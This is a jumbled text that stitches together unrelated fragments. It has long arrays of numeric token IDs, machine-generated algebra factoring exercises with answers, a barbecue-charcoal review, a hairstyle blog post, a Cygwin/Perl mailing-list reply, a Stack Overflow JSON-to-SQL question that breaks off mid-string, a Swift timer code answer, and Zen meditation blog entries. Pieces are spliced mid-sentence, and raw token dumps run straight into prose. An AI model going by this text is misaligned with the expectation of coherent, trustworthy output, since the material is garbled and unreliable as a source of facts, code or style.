352, 973, 15, 187, 187, 8917, 368, 751, 436, 1501, 32, 187, 187, 2042, 594, 13, 861, 598, 323, 1959, 11269, 432, 41438, 9916, 593, 15, 187, 187, 42, 5007, 562, 747, 4707, 40727, 13, 12192, 285, 4707, 1033, 10153, 4951, 281, 634, 34272, 1046, 8330, 2, 187, 187, 3529, 310, 1663, 3965, 2, 891, 2389, 634, 5311, 13, 697, 29853, 479, 281, 513, 1633, 342, 619, 4707, 15, 891, 3798, 816, 22522, 352, 598, 275, 247, 36396, 34258, 323, 789, 15, 2221, 22658, 891, 871, 13, 533, 11638, 37731, 667, 1576, 309, 1849, 4425, 326, 15363, 309, 588, 1611, 581, 273, 634, 419, 712, 9250, 15, 5730, 479, 7516, 37731, 187, 187, 33, 44, 8432, 1108, 352, 943, 2186, 533, 368, 476, 1900, 1611, 247, 2505, 321, 2182, 1885, 313, 9154, 690, 6079, 439, 1301, 80, 375, 403, 1175, 10, 281, 1918, 634, 4707, 625, 17628, 15, 2064, 434, 2139, 309, 2223, 1333, 281, 513, 841, 14957, 275, 1273, 1388, 4707, 347, 368, 476, 897, 634, 4707, 434, 3626, 14542, 15, 42, 717, 1077, 13477, 670, 253, 3451, 5133, 273, 13947, 9617, 11865, 762, 187, 951, 72, 6481, 13, 591, 77, 13, 285, 29826, 15, 309, 2550, 3653, 253, 3451, 5133, 15, 6915, 253, 187, 951, 72, 6481, 3497, 13, 309, 24171, 281, 8593, 970, 187, 187, 2428, 1227, 951, 72, 27190, 16, 68, 16, 2377, 7341, 187, 187, 11888, 247, 29826, 8135, 281, 1408, 247, 591, 77, 1232, 762, 253, 8135, 285, 8136, 275, 247, 187, 26758, 13, 309, 1364, 897, 247, 8323, 14, 4826, 17776, 342, 475, 47352, 3579, 187, 3433, 13539, 187, 187, 2042, 368, 1472, 970, 330, 11550, 6481, 434, 33515, 13, 840, 368, 1053, 626, 878, 281, 7664, 670, 187, 27095, 14, 4826, 11865, 15, 1310, 368, 1364, 13, 323, 690, 1921, 13, 897, 253, 7464, 14, 23963, 187, 6052, 77, 13, 840, 2451, 562, 686, 1342, 2645, 72, 3967, 5983, 733, 588, 6016, 253, 1873, 1854, 187, 585, 36446, 323, 368, 594, 368, 476, 7356, 342, 35024, 10569, 11865, 672, 368, 1511, 15, 187, 187, 283, 187, 20678, 610, 187, 187, 16881, 16881, 1713, 64, 187, 187, 34, 27, 6279, 15, 187, 31, 1165, 27, 6272, 368, 2119, 32, 187, 5064, 329, 27, 4923, 352, 7661, 265, 253, 13760, 2685, 273, 7827, 15, 187, 17636, 1165, 27, 6049, 310, 1755, 16920, 24659, 275, 4579, 32, 50, 27, 187, 187, 17635, 281, 11700, 13331, 4022, 5816, 10175, 432, 3781, 187, 187, 42, 717, 747, 281, 2970, 13922, 715, 11700, 13331, 4022, 13, 309, 1869, 309, 574, 352, 1066, 13, 533, 309, 4366, 326, 309, 717, 5816, 690, 4278, 432, 253, 3781, 13, 2819, 387, 253, 2460, 13, 627, 403, 1740, 2953, 1383, 533, 309, 3047, 627, 403, 690, 625, 2953, 8, 5816, 323, 1650, 7634, 8111, 21775, 13, 285, 15520, 3230, 28613, 15, 1359, 476, 309, 1056, 2119, 326, 512, 253, 2953, 8, 10848, 32, 187, 3614, 1358, 74, 15, 9742, 15, 48370, 15, 681, 16, 254, 91, 13152, 15, 11368, 187, 33, 8456, 39151, 1116, 274, 9, 4090, 10, 187, 187, 33, 8456, 426, 427, 8, 92, 187, 50265, 3, 10927, 1381, 544, 187, 50263, 92, 187, 50261, 3, 13259, 1381, 551, 187, 50259, 3, 5374, 1381, 551, 187, 50257, 3, 8608, 64, 301, 1381, 346, 9104, 15, 7798, 15, 14602, 1540, 3953, 15, 2874, 995, 187, 50257, 3, 27055, 64, 881, 1381, 346, 2632, 9440, 428, 19757, 747, 31824, 995, 187, 50257, 3, 13259, 64, 881, 1381, 346, 4877, 995, 187, 50257, 3, 6275, 64, 25016, 64, 2754, 1381, 346, 7798, 14, 805, 14, 2941, 53, 883, 27, 1671, 27, 1348, 12, 883, 27, 361, 995, 187, 50257, 3, 10008, 1381, 346, 2632, 1435, 13, 10867, 486, 708, 9472, 23798, 322, 742, 13, 4281, 311, 539, 273, 1889, 9020, 2213, 1435, 708, 19128, 6235, 19249, 995, 187, 50257, 3, 7582, 414, 1381, 551, 187, 50255, 3, 709, 1381, 346, 2413, 1358, 25460, 5391, 27, 3507, 16, 12332, 43270, 16, 255, 3431, 16, 18, 15, 17 ]	3 - 702w2 + 1458w - 864 = 0. 1, 3, 48 Solve -3m2 - 927m = 0 for m. -309, 0 Factor 14h4 - 130h*3 - 104h*2 + 40h. 2h(h - 10)(h + 1)(7h - 2) Factor -14x*2/11 - 282x/11 + 296/11. -2(x - 1)(7x + 148)/11 Solve -4o*4/9 + 2722o*3/9 + 758o*2 + 5462o/9 + 1366/9 = 0. -1, -1/2, 683 Solve 21g4 + 75g*3 + 99g*2 + 57g + 12 = 0 for g. -1, -4/7 Factor 5m4 - 555m*3 + 20535m*2 - 253265m. 5m(m - 37)3 Factor g5/5 + 2g4/5 + g3/5. g3(g + 1)*2/5 Factor 3f*2/8 - 21f/8 + 9/2. 3(f - 4)(f - 3)/8 Factor -2j5/15 - 4j*4/5 - 8j*3/5 - 4j*2/3 - 2j/5. -2j(j + 1)*3(j + 3)/15 Let -16o3 + 14072o*2 + 7039o + 880 = 0. What is o? -1/4, 880 Determine i, given that -15i5 - 70i*4 + 350i*3 + 1160i*2 - 2775i - 2250 = 0. -5, -2/3, 3 Factor -5l2 - 485l - 950. -5(l + 2)(l + 95) Let 3h5 + 6h*4 - 57h*3 - 96h*2 + 252h + 432 = 0. Calculate h. -4, -2, 3 Solve -k*2/10 - 51k/10 - 5 = 0. -50, -1 Solve 2l2 - 232l = 0. 0, 116 What is a in 3a3/7 + 129a*2/7 + 1086a/7 + 960/7 = 0? -32, -10, -1 Factor -m*2/9 + 100m/9 - 2500/9. -(m - 50)*2/9 Let -75u*2 + 1056u/7 - 12/7 = 0. Calculate u. 2/175, 2 Let -4f5/7 - 156f*4/7 - 20f*3 + 460f*2/7 + 144f/7 - 304/7 = 0. Calculate f. -38, -2, -1, 1 Determine q so that q*3/4 - 5q*2/4 + 2q - 1 = 0. 1, 2 Find j such that j*3/10 - 11j*2/10 - 6j/5 = 0. -1, 0, 12 Factor -4n3 + 12n*2 + 96n + 112. -4(n - 7)(n + 2)*2 Let 2q*4 - 10q*3 - 18q*2 + 162q - 216 = 0. Calculate q. -4, 3 Let 2l2/7 - 34l/7 - 76/7 = 0. Calculate l. -2, 19 Find o, given that -10o3/13 - 358o*2/13 - 278o/13 + 70/13 = 0. -35, -1,'Instant-Light' my backside! The bags that are supposed to light the charcoal kept going out, so, two bags later and still one unlit bbq we gave up. Definitely wouldn't buy again as it was not cheap and it just didn't do the job.PCSUITE INSPECTOR PRO knows and keeps you reliably and constantly informed about the state and performance of your data storage media, even more than is required for security purposes. The program monitors your hard drives’ operational readiness, detects existing or imminent hardware defects and performance restrictions and prevents data loss.30 Days of Twist & Pin Hairstyles – Day 18 Create the look of a bobbed haircut by pinning and tucking your hair under. I’ve also added a braided headband to this style. Want to learn how to do this hairstyle? Check out my ebook 30 Days of Twist & Pin Hairstyles! It gives you over 75 pages of detailed instructions and how-to pictures, tips, tricks, techniques and cheats for a different hairstyle every day. You can get your copy right here by clicking the button below. It will take you through to a secure PayPal screen for you to instantly download your copy! You don’t need an e-reader or a Kindle to read this book. It will download to your computer as a PDF file that you can print out and keep handy or, of course, you can save it to your tablet or phone so you can be a Hair Romantic anywhere you go! If you want to see some of the other styles featured in my ebook, take a look at some of the other 30 Days of Twist & Pin. Have you seen my other 30 Day Hairstyle Challenge? After completing 30 Days of Twist & Pin, I took up the gauntlet again and completed 30 Days of Braids. Take a look at some of the styles from the Braid Challenge here. At Hair Romance we want you to love your hair. You wear it every day, so wear it well. Did you like this post? If so, sign up for free updates from Hair Romance. I send out new hair tutorials, tips and hairspiration straight to your inbox every Wednesday! that is really pretty! i love your blog, its inspiring me to do something with my hair. i usually just chuck it up in a messy bun for work. super lazy i know, but convenient:) anyways I've decided that everyday I will try one of your hairstyles. wish me luck:) @Kira – it should hold but you can always try a texturising product (even some dry shampoos are good) to give your hair more grip. That's why I often say to do these styles in second day hair as you can use your hair's natural texture.I am very confused about the correct manner of defining directory paths under cygwin, perl, and bash. I cannot determine the correct manner. Using the cygwin window, I navigate to locations using cd /cygdrive/c/subdir Using a bash shell to run a perl process under the shell and passing in a directory, I must use a windows-style specification with *nix forward slashes If you're using Cygwin's Perl, then you don't need to worry about windows-style paths. If you must, for some reason, use the Windows-native Perl, then check out'man cygpath'. It will handle the file path conversions for you so you can stick with POSIX paths when you type. -- Larry _____________________________________________________________________ A: Yes. > Q: Are you sure? >> A: Because it reverses the logical flow of conversation. >>> Q: Why is top posting annoying in email?Q: JSON to SQL Server 2016 missing rows from array I am new to getting JSON into SQL Server 2016, I thought I had it down, but I notice that I am missing some details from the array, looking at the image, there are four address', but I saw there are some more address' missing for example Burrows Rd, and Urana RD. How can I make sure that all the address' captured? https://i.stack.imgur.com/erzBV.jpg @json nvarchar(max) @json = N'{ "response": [ { "application": { "info": { "dat_id": "010.2018.00036494.001", "development_type": "Residential - Single new dwelling", "application_type": "DA", "last_modified_date": "2018-12-03T11:35:24+11:00", "description": "Residence, Garage & Colorbond Shed, Demolition of Existing Residence & Tree Removal", "authority": { "ref": "http://gemini:82/ApplicationTracker/atdis/1.0
[ 31062, 8263, 28517, 3378, 4769, 27068, 9, 18, 13, 2303, 27, 1881, 13, 23434, 27, 346, 26320, 9019, 7910, 995, 2608, 6074, 27, 5296, 13, 24510, 27, 2032, 10, 535, 50274, 94, 187, 94, 187, 187, 1785, 365, 839, 436, 1332, 970, 21626, 11831, 13, 21626, 14039, 3966, 15, 3133, 502, 360, 8823, 285, 15279, 13, 594, 651, 751, 247, 1039, 281, 17627, 253, 3781, 2193, 2581, 685, 1907, 281, 1067, 396, 468, 1523, 275, 1027, 3470, 15, 187, 187, 34, 27, 187, 187, 17222, 436, 13, 352, 4648, 767, 3082, 285, 271, 3605, 15, 187, 10282, 5449, 187, 187, 10828, 1365, 3605, 310, 873, 281, 470, 285, 4828, 310, 873, 281, 1458, 15, 187, 11183, 1672, 23393, 1082, 310, 1925, 15, 50276, 187, 187, 510, 5763, 12693, 310, 9300, 15, 50276, 187, 2042, 3605, 310, 470, 253, 21626, 310, 3562, 15, 187, 187, 26320, 9019, 1082, 310, 1925, 846, 253, 21626, 19333, 15, 187, 187, 510, 4828, 310, 2864, 16390, 285, 253, 4828, 5203, 310, 9300, 15, 50276, 187, 2042, 4828, 310, 470, 285, 3605, 310, 4503, 281, 253, 1180, 273, 18418, 428, 18, 50276, 783, 21626, 310, 12078, 456, 15, 187, 2042, 4828, 310, 470, 285, 3605, 654, 1180, 273, 18418, 428, 18, 3605, 310, 1141, 16390, 13, 4828, 310, 14932, 281, 1458, 285, 5731, 1672, 23393, 1082, 310, 1925, 969, 15, 535, 50274, 2044, 4828, 426, 1458, 187, 50274, 2044, 3605, 426, 470, 535, 50274, 2044, 21626, 27, 427, 1267, 7438, 32, 535, 50274, 2044, 30755, 1672, 2269, 3013, 2809, 31377, 426, 544, 1672, 23393, 880, 10, 535, 50274, 37488, 11632, 1859, 8917, 9624, 1082, 551, 187, 50272, 12185, 15, 1374, 8917, 9624, 1082, 187, 50272, 11183, 1672, 23393, 1082, 187, 50274, 94, 535, 50274, 4997, 5731, 1672, 23393, 1082, 551, 187, 50272, 1059, 2460, 27, 530, 38129, 426, 30755, 1672, 2269, 3013, 2809, 31377, 60, 4663, 1570, 17479, 2, 187, 50272, 48355, 6586, 15, 5695, 426, 2460, 535, 50272, 1059, 4060, 11495, 426, 30755, 1672, 2269, 3013, 2809, 31377, 60, 4663, 1570, 1590, 187, 50272, 48355, 13408, 15, 1156, 426, 4060, 11495, 535, 50272, 1059, 7997, 13408, 426, 30755, 1672, 2269, 3013, 2809, 31377, 60, 4663, 1570, 6839, 6477, 187, 50272, 6839, 6477, 11495, 15, 1156, 426, 7997, 13408, 535, 50272, 338, 3605, 2295, 470, 50276, 92, 187, 50270, 26320, 426, 427, 1267, 7438, 15, 31062, 8263, 28517, 3378, 4769, 27068, 9, 18, 13, 2303, 27, 1881, 13, 23434, 27, 346, 26320, 9019, 995, 2608, 6074, 27, 5296, 13, 24510, 27, 2032, 10, 187, 50272, 94, 187, 50274, 94, 535, 50274, 4997, 21626, 9019, 1082, 551, 187, 50272, 20285, 24869, 337, 187, 50272, 26320, 11495, 15, 1156, 426, 8894, 9, 20285, 6844, 187, 50272, 338, 313, 20285, 2295, 470, 10, 551, 187, 50270, 338, 3605, 2295, 30755, 1672, 2269, 3013, 2809, 31377, 15, 5560, 428, 337, 551, 187, 50268, 26320, 47346, 25359, 366, 1082, 187, 50268, 26320, 426, 5296, 187, 50270, 94, 2010, 551, 187, 50268, 4663, 7079, 337, 187, 50268, 20285, 426, 1458, 187, 50268, 11183, 1672, 23393, 1082, 187, 50270, 94, 187, 50272, 94, 187, 50274, 94, 535, 1148, 324, 885, 275, 8342, 8184, 187, 187, 47462, 17750, 2400, 2802, 1314, 3535, 457, 187, 187, 20266, 1283, 394, 13, 4072, 428, 337, 22955, 187, 187, 4553, 253, 5753, 1091, 281, 2143, 13, 187, 9131, 253, 807, 310, 689, 285, 673, 34654, 13, 187, 9453, 22450, 310, 6906, 13, 285, 6330, 3133, 512, 533, 3663, 13, 187, 262, 457, 84, 4999, 281, 564, 896, 275, 253, 1824, 27, 187, 20339, 28590, 253, 1091, 273, 380, 1847, 20787, 22586, 187, 248, 4052, 35725, 15060, 285, 13846, 187, 3113, 253, 1724, 3987, 4076, 339, 273, 3676, 20992, 187, 66, 581, 14, 1201, 49922, 19015, 187, 3113, 253, 1175, 952, 273, 3452, 885, 187, 395, 3780, 2010, 2112, 323, 253, 10831, 187, 28007, 13, 3821, 15, 608, 16601, 1060, 15, 187, 187, 2042, 368, 476, 3959, 26104, 8064, 281, 6179, 5014, 13, 4496, 3057, 479, 15, 187, 187, 19591, 577, 394, 13, 4072, 428, 608, 28623, 187, 187, 1773, 26743, 15799, 556, 352, 326, 5002, 310, 34352, 715, 253, 11553, 15, 2596, 625, 572, 640, 13, 597, 1333, 13, 285, 436, 19456, 7537, 26689, 588, 320, 22007, 30569, 15, 1292, 597, 452, 352, 28636, 1066, 15, 844, 457, 250, 2168, 327, 253, 5004, 273, 253, 6150, 15, 14263, 3041, 1107, 3622, 13, 44967, 33387, 10184, 253, 11553, 23396, 281, 253, 2553, 273, 253, 7565, 15, 844, 403, 253, 2151, 273, 247, 28987, 12927, 15, 844, 660, 2066, 776, 12682, 327, 697, 6007, 319, 90, 5254, 15, 187, 187, 1773, 26743, 15799, 2296, 436, 9129, 3946, 273, 7477, 642, 3356, 14190, 15, 733, 1057, 417, 16497, 15, 6359, 398, 1053, 457, 85, 755, 352, 15, 733, 457, 84, 1512, 1892, 285, 1048, 285, 9279, 1417, 313, 20261, 5859, 13, 9921, 285, 1846, 3282, 10418, 352, 387, 1046, 1614, 2698, 844, 457, 250, 11771, 342, 1142, 643, 2469, 1022, 13, 253, 14720, 4566, 15, 23526, 1918, 952, 752, 597, 971, 672, 597, 971, 352, 13, 390, 597, 588, 964, 964, 964, 513, 752, 32, 1810, 2569, 13, 751, 594, 1199, 8660, 15, 187, 187, 1044, 10274, 751, 326, 310, 247, 2119, 1039, 281, 7168, 3216, 15, 7900, 15799, 310, 253, 15990, 13, 627, 310, 642, 15799, 15, 187, 187, 1552, 310, 619, 29257, 8648, 917, 8327, 27, 326, 368, 588, 1089, 247, 7102, 665, 310, 1097, 3110, 285, 38098, 13, 440, 2320, 46088, 281, 3698, 368, 11182, 13, 16924, 13, 285, 4720, 16359, 275, 253, 14712, 383, 273, 634, 1211, 1721, 15, 2596, 665, 588, 1978, 368, 7107, 2567, 347, 368, 564, 3676, 285, 2836, 13, 1919, 368, 1007, 598, 285, 923, 326, 368, 403, 417, 34352, 13, 368, 403, 417, 29281, 13, 634, 2847, 310, 417, 3663, 15, 1707, 310, 642, 2137, 285, 642, 9054, 13, 642, 24284, 285, 642, 3343, 15, 1422, 403, 7063, 28636, 598, 275, 253, 21509, 311, 405, 11874, 273, 247, 3676, 13, 2590, 12927, 13, 642, 5448, 390, 10212, 13, 285, 368, 403, 14578, 13, 14578, 13, 14578, 15, 187, 187, 24099, 2030, 394, 13, 4072, 428, 1903, 28623, 187, 187, 510, 1953, 273, 253, 4964, 310, 773, 7161, 403, 253, 22271, 7721, 831, 3133, 751, 253, 1953, 273, 1046, 4964, 13, 1046, 2952, 13, 1046, 807, 13, 672, 253, 8989, 273, 43703, 11521, 285, 359, 923, 326, 776, 3054, 3767, 13, 17812, 13, 2654, 3017, 285, 6114, 403, 417, 594, 1270, 846, 512, 15, 309, 1053, 457, 85, 816, 1599, 326, 597, 1056, 16503, 13, 533, 326, 616, 15060, 403, 19781, 15, 1583, 39038, 13, 7027, 285, 8513, 952, 15, 1583, 403, 27915, 13, 28884, 13, 3807, 2865, 7070, 967, 285, 598, 281, 642, 1175, 15, 10417, 22271, 403, 1633, 2010, 17965, 15, 187, 187, 43688, 309, 7416, 247, 1387, 273, 952, 1128, 32060, 26636, 1128, 10002, 5966, 271, 6325, 2316, 285, 2206, 1335, 285, 7107, 323, 253, 1805, 629, 273, 247, 1388, 15, 309, 717, 28173, 407, 253, 3361, 273, 952, 665, 651, 20141, 281, 513, 824, 247, 2181, 27, 897, 598, 247, 9670, 1175, 313, 4609, 2097, 271, 35240, 314, 5389, 10, 6926, 275, 5002, 281, 1790, 1066, 285, 25885, 387, 247, 3402, 15, 2058, 253, 990, 273, 352, 512, 13, 309, 2183, 731, 326, 752, 597, 574, 2218, 369, 36715, 15, 1916, 1379, 8294, 323, 6330, 275, 253, 1533, 310, 27364, 36715, 15, 309, 17328, 731, 326, 1223, 25815, 26167, 476, 320, 2834, 327, 634, 13827, 2133, 285, 43958, 2564, 13, 352, 1057, 417, 8513, 3780, 15, 1621, 581, 310, 44137, 407, 634, 3946, 28, 6296, 4130, 310, 6518, 13, 1014, 604, 352, 310, 760, 984, 368, 403, 417, 30900, 272, 275, 12700, 390, 32469, 272, 275, 40586, 1309, 253, 673, 368, 403, 1977, 15, 187, 187, 3039, 368, 403, 1335, 13, 642, 34036, 403, 549, 2147, 13, 642, 42109, 403, 502, 39012, 13, 642, 9881, 32033, 13, 642, 39876, 49781, 1677, 15, 2091, 368, 403, 7107, 13, 2717, 1599, 13, 17877, 390, 4619, 310, 753, 15, 831, 3815, 2789, 253, 1388, 247, 1175, 1388, 323, 4130, 275, 634, 1495, 15, 187, 187, 42, 3407, 619, 3946, 15846, 323, 4266, 15, 309, 3078, 281, 320, 2104, 281, 755, 562, 273, 3722, 275, 253, 4131, 13, 564, 281, 4600, 387, 2360, 13, 285, 11399, 619, 35956, 1981, 31917, 15, 309, 3078, 281, 320, 2104, 281, 23808, 15, 1292, 1024, 309, 3946, 323, 1529, 1921, 27, 984, 309, 8513, 952, 15, 309, 8513, 731, 247, 2257, 13, 285, 275, 4088, 309, 1620, 923, 1919, 352, 310, 1512, 3563, 13, 1919, 253, 37535, 273, 619, 4433, 1531, 45143, 5913, 10732, 309, 574, 273, 619, 1211, 43703, 15, 187, 187, 42, 717, 31597, 407, 253, 15423, 1612, 359, 452, 281, 513, 1175, 672, 359, 452, 253, 15838, 281, 513, 2717, 15, 187, 187, 5872, 309, 6026, 281, 436, 1270, 6149, 285, 3253, 275, 352, 13, 7004, 34555, 15, 1244, 439, 1370, 312, 2, 733, 310, 1677, 15, 25664, 670, 2221, 9177, 15, 187, 187, 1394, 476, 1335, 6604, 247, 1388, 387, 619, 10672, 300, 6169, 6724, 675, 275, 29089, 327, 3919, 1668, 13, 390, 1984, 634, 2317, 275, 253, 41942, 6724, 675, 275, 3978, 407, 1469, 281, 436, 3239, 15, 187, 187, 24099, 1638, 394, 13, 4072, 428, 8676, 28623, 187, 187, 3220, 3392, 14, 249, 14, 6937, 369, 247, 2969, 637, 13, 285, 253, 1841, 344, 753, 812, 5818, 342, 46504, 19843, 15, 187, 187, 8267, 673, 344, 18739, 1633, 13, 751, 247, 5313, 273, 14354, 15221, 13, 323, 4227, 13, 344, 651, 1333, 13, 773, 1552, 310, 253, 1682, 14354, 15221, 309, 457, 306, 2455, 37907, 11602, 754, 5486, 352, 13, 285, 352, 369, 2032, 13, 984, 352, 2210, 432, 253, 385, 22651, 593, 273, 247, 2564, 5766, 728, 273, 4619, 1869, 15, 329, 2564, 751, 326, 476, 1646, 19456, 285, 1429, 3022, 15, 733, 310, 13, 285, 326, 457, 84, 752, 2789, 352, 594, 15822, 15, 187, 187, 8693, 2360, 309, 6699, 247, 1355, 1984, 326, 369, 253, 1682, 14354, 15221, 13, 285, 309, 457, 69, 2389, 323, 368, 281, 9075, 352, 15, 2058, 253, 1265, 13, 368, 1537, 417, 1158, 436, 2238, 273, 15221, 310, 323, 368, 15, 427, 10745, 4766, 2363, 13, 247, 637, 9365, 2994, 20509, 13, 15838, 4087, 13, 28168, 326, 344, 310, 11730, 13, 247, 43459, 13, 247, 1161, 727, 13, 247, 36276, 13, 247, 815, 2421, 13, 247, 25461, 13, 247, 2564, 1417, 32840, 285, 19513, 2854, 26716, 13, 285, 1060, 457, 84, 253, 7353, 6308, 1128, 3229, 3784, 521, 10382, 4433, 387, 13184, 1128, 248, 5605, 281, 3153, 15, 9876, 436, 3590, 1014, 27938, 751, 634, 2238, 273, 14354, 32, 187, 187, 1328, 17400, 3836, 323, 2994, 253, 3686, 273, 7445, 2531, 1437, 326, 310, 253, 5017, 273, 1061, 1197, 15, 754, 24376, 281, 5427, 275, 3186, 273, 50175, 15, 1737, 368, 1089, 275, 5427, 310, 13, 973, 13, 5427, 15, 1244, 752, 368, 1089, 327, 247, 1437, 310, 4834, 15, 1292, 344, 8599, 521, 2926, 342, 824, 10763, 285, 5471, 13, 824, 13746, 285, 1445, 4721, 13, 326, 309, 812, 417, 11623, 253, 2644, 2181, 15, 187, 187, 3404, 253, 990, 273, 253, 1984, 13, 344, 310, 19083, 521, 7408, 342, 247, 42099, 281, 35020, 275, 253, 2567, 273, 247, 2872, 7102, 285, 4474, 350, 15, 3032, 2607, 273, 1129, 22644, 285, 18006, 6230, 13, 362, 5811, 285, 3816, 36637, 569, 1646, 281, 452, 4242, 15, 1623, 253, 11693, 344, 310, 896, 281, 1146, 11790, 285, 23381, 1020, 13, 5471, 24924, 285, 1014, 28734, 15, 380, 5113, 273, 521, 15866, 403, 253, 767, 4105, 20325, 665, 403, 16362, 779, 15, 9876, 436, 3590, 1014, 27938, 751, 752, 6569, 5312, 275, 634, 8576, 13, 634, 1728, 13, 634, 9168, 13, 634, 1533, 32, 187, 187, 42, 4456, 253, 9023, 309, 1160, 281, 4266, 281, 1978, 619, 2798, 13, 2564, 285, 21768, 1527, 323, 253, 1551, 273, 619, 3297, 15, 2752, 9455, 369, 3551, 281, 271, 990, 1512, 3809, 15, 1707, 369, 642, 625, 673, 281, 16924, 745, 275, 1388, 69, 9779, 13, 390, 281, 7168, 4266, 275, 38817, 14672, 15, 1292, 512, 326, 11322, 574, 35653, 745, 751, 247, 12621, 432, 271, 18093, 1834, 22133, 285, 253, 3038, 1677, 689, 281, 12700, 285, 1881, 14, 5316, 3647, 403, 1024, 4783, 11654, 15, 1737, 29962, 13, 7835, 285, 3371, 656, 858, 309, 2985, 347 ]	scheduledTimerWithTimeInterval(1, target: self, selector: "timerActionTwo", userInfo: nil, repeats: true) } } Repeating this method using timerThree, timerFour etc. seems clumbsy and unnecessary, so would like a way to increment the array values rather than having to call seperately in different functions. A: Try this, it uses two methods and an index. Workflow Initially index is set to 0 and counter is set to 15. updateExercise() is called. The exercise UI is updated. If index is 0 the timer is created. timerAction() is called after the timer fires. The counter is decremented and the counter label is updated. If counter is 0 and index is equal to the number of exercises -1 the timer is invalidated. If counter is 0 and index < number of exercises -1 index is incremented, counter is reset to 15 and updateExercise() is called again. var counter = 15 var index = 0 var timer: NSTimer? var workoutExercisesShuffled = [Exercise]() override func viewDidLoad() { super.viewDidLoad() updateExercise() } func updateExercise() { let image: UIImage = workoutExercisesShuffled[index].filename! exerciseImage.image = image let titleLabel = workoutExercisesShuffled[index].name exerciseTitle.text = titleLabel let instructionsTitle = workoutExercisesShuffled[index].instructions instructionsLabel.text = instructionsTitle if index == 0 { timer = NSTimer.scheduledTimerWithTimeInterval(1, target: self, selector: "timerAction", userInfo: nil, repeats: true) } } func timerAction() { counter -= 1 timerLabel.text = "\(counter)" if (counter == 0) { if index == workoutExercisesShuffled.count - 1 { timer!.invalidate() timer = nil } else { index += 1 counter = 15 updateExercise() } } } paradise in plain sight Posts Tagged ‘meditation’ August 18th, 2013 - 1 Comment After the kids return to school, before the year is over and time disappears, when patience is thin, and peace seems all but lost, it’s safe to go back in the water: Announcing the return of The Plunge workshop healing weary hearts and minds with the calming cleanse of deep compassion a one-day mindfulness retreat with the good people of Boise and anyone else along for the swim Saturday, Oct. 5Register here. If you can offer scholarship funds to waiting participants, please contact me. April 4th, 2013 - 5 Comments Conventional wisdom has it that California is sinking into the Pacific. One more quake, they say, and this silly sandcastle will be swept offshore. But they have it upside down. We’re already on the bottom of the sea. Five million years ago, seismic storms pushed the Pacific crust to the surface of the Earth. We are the children of a risen ocean. We scuff our shoes on its billowy floor. Conventional wisdom says this ancient practice of mine no longer reaches. It does not translate. Westerners don’t get it. It’s too hard and long and fruitless (although science, medicine and common sense affirm it at every turn.) We’re competing with many other pastimes, the reasoning goes. Better give people what they want when they want it, or they will... do what? Scatter, like so much dust. Thinking like that is a sure way to lose ground. Where wisdom is the agenda, there is no wisdom. This is my inexhaustible desire: that you will find a guide who is both patient and daring, unafraid to watch you struggle, drift, and finally settle in the tempest of your own pot. One who will keep you quiet company as you go deep and dig, until you look up and see that you are not sinking, you are not hopeless, your cause is not lost. There is no war and no enemy, no hurry and no wait. You are sitting upside up in the echoless calm of a deep, clear ocean, no wind or waves, and you are breathing, breathing, breathing. February 25th, 2013 - 11 Comments The question of the hour is “Where are the heroes?” This seems like the question of every hour, every season, every year, when the mask of greatness falls and we see that our statesmen, athletes, idols and stars are not so great after all. I don’t just mean that they make mistakes, but that their hearts are hollow. They cheat, lie and hurt people. They are selfish, ignorant, undisciplined and up to no good. Real heroes are something else altogether. Yesterday I joined a group of people—perfect strangers—who entered an empty room and sat still and quiet for the better part of a day. I am honored by the presence of people who would dare to do such a thing: use up a perfectly good (which means an astonishingly beautiful) Sunday in California to sit down and stare at a wall. At the end of it all, I told them that what they had done was heroic. To take responsibility for peace in the world is genuinely heroic. I reminded them that while practicing Zen can be difficult on your stiff body and restless mind, it does not hurt anyone. No one is harmed by your practice; indeed everyone is helped, even if it is only because you are not erupting in anger or simmering in resentment during the time you are away. When you are still, no eyebrows are arched, no fists are clinched, no fingers tapped, no sideways glances given. When you are quiet, nothing mean, cruel or critical is said. This alone makes the day a good day for everyone in your life. I began my practice purely for myself. I wanted to be able to get out of bed in the morning, go to sleep at night, and overcome my crippling sadness. I wanted to be able to cope. But now I practice for another reason: because I hurt people. I hurt them a lot, and in ways I never see until it is too late, until the breadth of my failure crumbles whatever notion I had of my own greatness. I am amazed by the extraordinary power we have to do good when we have the courage to do nothing. Then I bow to this great earth and everything in it, asking forgiveness. And shazam! It is given. Talk about superpower. You can still join a day at my Grailville Retreat in Cincinnati on March 16, or book your space in the Marin Retreat in June by going to this page. February 14th, 2013 - 53 Comments My father-in-law was a simple man, and the things he said could ring with unintended clarity. Every time he ate something, like a piece of chocolate cake, for instance, he would say, “This is the best chocolate cake I’ve ever tasted!” He meant it, and it was true, because it came from the exuberance of a mind emptied of critical thought. A mind like that can seem silly and childlike. It is, and that’s what makes it so wise. Last night I finished a small book that was the best chocolate cake, and I’d love for you to taste it. At the start, you might not think this kind of cake is for you. Nearing middle age, a man faces himself honestly, courageously, admitting that he is gay, a liar, a cheater, a thief, a phony, a creep, a mindless alcoholic and ugly drug addict, and here’s the sweet spot—despite his serial failure at suicide—he wants to live. Does this sound even remotely like your kind of chocolate? He envisions for himself the sort of idealistic quest that is the stuff of parody. He travels to India in search of enlightenment. What you find in India is, well, India. And what you find on a quest is yourself. But he tells his story with such beauty and feeling, such flavor and artistry, that I could not resist the whole thing. At the end of the book, he is finishing his trip with a trek to Nepal in the company of a young guide and porter. His months of meditations and mantras, vows and renunciations seem to have failed. On the trail he is back to being angry and resentful, feeling foolish and even exploited. The objects of his spite are the two poor servants who are attending him. Does this sound even remotely like what happens daily in your kitchen, your home, your neighborhood, your world? I remember the promise I made to myself to keep my heart, mind and senses open for the rest of my stay. My journey was coming to an end too fast. There was no more time to drift off in daydreams, or to lose myself in petty complaints. But all that resolve had flown off like a bird from an untended cage and the hours given over to anger and self-cherishing are now gone forever. What sights, sounds and joys did I miss as
